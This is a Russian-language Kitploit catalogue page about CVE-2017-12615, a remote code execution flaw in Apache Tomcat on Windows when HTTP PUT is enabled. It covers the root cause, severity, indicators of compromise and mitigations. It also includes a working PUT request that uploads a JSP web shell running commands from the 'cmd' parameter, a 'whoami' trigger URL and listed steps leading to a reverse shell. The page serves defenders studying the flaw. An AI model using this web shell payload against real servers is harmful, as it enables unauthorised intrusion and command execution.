Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-12615 — CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE) | Kitploit
Инструменты/GitHubGitHub/k3ystr0k3r/cve-2017-12615
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubk3ystr0k3r/cve-2017-12615

CVE-2017-12615

CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)

Репозиторий
12 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-12615 - Удаленное выполнение кода (RCE) в Apache Tomcat

CVE-2017-12615 — это уязвимость удаленного выполнения кода (RCE), затрагивающая Apache Tomcat 7.0.0 – 7.0.79 на Microsoft Windows, когда включены HTTP-запросы PUT.

Уязвимость существует из-за некорректной обработки загружаемых JSP-файлов в Tomcat, когда DefaultServlet настроен с параметром readonly равным false. В таких условиях неаутентифицированный злоумышленник может загрузить вредоносный JSP-файл непосредственно на веб-сервер и выполнить произвольный Java-код, просто обратившись к загруженному файлу.

Эта уязвимость стала одной из самых известных проблем RCE в Tomcat из-за простоты её использования против неправильно настроенных серверов.


Затронутые версии

  • Apache Tomcat 7.0.0 – 7.0.79
  • Установки на Microsoft Windows
  • Включён метод HTTP PUT
  • Параметр readonly="false" в конфигурации DefaultServlet

Серьёзность

МетрикаЗначение
CVECVE-2017-12615
CVSS v38.1 (Высокий)
Вектор атакиСеть
Требуемые привилегииОтсутствуют
Взаимодействие с пользователемОтсутствует
ВоздействиеУдаленное выполнение кода

Первопричина

Обычно Apache Tomcat предотвращает загрузку исполняемых JSP-файлов.

Однако, когда:

  • включены HTTP-запросы PUT
  • DefaultServlet доступен для записи (readonly=false)
  • Tomcat работает на Windows

злоумышленник может загрузить JSP-файл непосредственно в корень веб-приложения.

После загрузки обращение к этому JSP заставляет Tomcat скомпилировать и выполнить его, что позволяет выполнить произвольный Java-код с привилегиями службы Tomcat.


Схема атаки

root@kitploit:~
Атакующий
    │
    │ HTTP PUT
    ▼
Загрузка вредоносной JSP-оболочки
    │
    ▼
Tomcat сохраняет файл
    │
    │ HTTP GET
    ▼
Запрос загруженного JSP
    │
    ▼
Tomcat компилирует JSP
    │
    ▼
Выполнение Java-кода
    │
    ▼
Удаленное выполнение кода

Процесс эксплуатации

Типичная атака состоит из следующих шагов:

  1. Обнаружение уязвимого экземпляра Tomcat.
  2. Проверка, разрешены ли HTTP-запросы PUT.
  3. Загрузка вредоносного JSP-веб-шелла.
  4. Обращение к загруженному JSP.
  5. Выполнение произвольных системных команд.
  6. Установка обратной оболочки (reverse shell) или развертывание дополнительных полезных нагрузок.

Если сервер уязвим, аутентификация не требуется.


Пример запроса

Пример HTTP-запроса PUT:

root@kitploit:~
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

При успехе сервер отвечает:

root@kitploit:~
HTTP/1.1 201 Created

Затем полезную нагрузку можно выполнить, перейдя по адресу:

root@kitploit:~
http://victim.com/shell.jsp?cmd=whoami

Пример обнаружения

Простой способ выявить уязвимые системы — попытаться загрузить безвредный тестовый JSP:

root@kitploit:~
PUT /test.jsp

Возможные ответы:

root@kitploit:~
201 Created

или

root@kitploit:~
204 No Content

Если загруженный файл затем можно получить по HTTP, сервер, скорее всего, уязвим.


Последствия

Успешная эксплуатация позволяет злоумышленнику:

  • Выполнять произвольные команды операционной системы
  • Загружать постоянные веб-шеллы
  • Получать обратные оболочки
  • Развертывать вредоносное ПО или программы-вымогатели
  • Похищать конфиденциальную информацию
  • Проникать глубже во внутренние сети
  • Полностью скомпрометировать затронутый сервер Tomcat

Индикаторы компрометации

Специалистам по безопасности следует обратить внимание на:

  • Неожиданные HTTP-запросы PUT
  • Недавно созданные файлы .jsp
  • Неизвестные веб-шеллы
  • Подозрительные дочерние процессы, порождённые
  • Сетевые соединения обратных оболочек (reverse shell)
  • Необычную активность в корне веб-приложений Tomcat

Смягчение угрозы

Рекомендуемые меры по смягчению:

  • Обновить Apache Tomcat до исправленной версии.
  • Отключить HTTP PUT, если это не абсолютно необходимо.
  • Убедиться, что для DefaultServlet используется readonly="true".
  • Ограничить права на загрузку.
  • Отслеживать появление неожиданных JSP-файлов.
  • Развернуть межсетевой экран для веб-приложений (WAF).
  • Регулярно просматривать журналы доступа Tomcat на предмет подозрительных запросов PUT.

Техническое резюме

СвойствоЗначение
УязвимостьПроизвольная загрузка JSP
CWECWE-434 — Неограниченная загрузка файла опасного типа
Требуется аутентификацияНет
Сложность эксплуатацииНизкая при уязвимых конфигурациях
РезультатУдаленное выполнение кода
ПлатформаWindows
СлужбаApache Tomcat

Ссылки

  • Национальная база данных уязвимостей NIST (NVD)
  • Уведомления о безопасности Apache Tomcat
  • Запись CVE: CVE-2017-12615

Отказ от ответственности

Этот репозиторий предназначен исключительно для образовательных целей, защитных исследований безопасности и авторизованного тестирования на проникновение. Не используйте эту информацию против систем без явного разрешения.

Скачать инструмент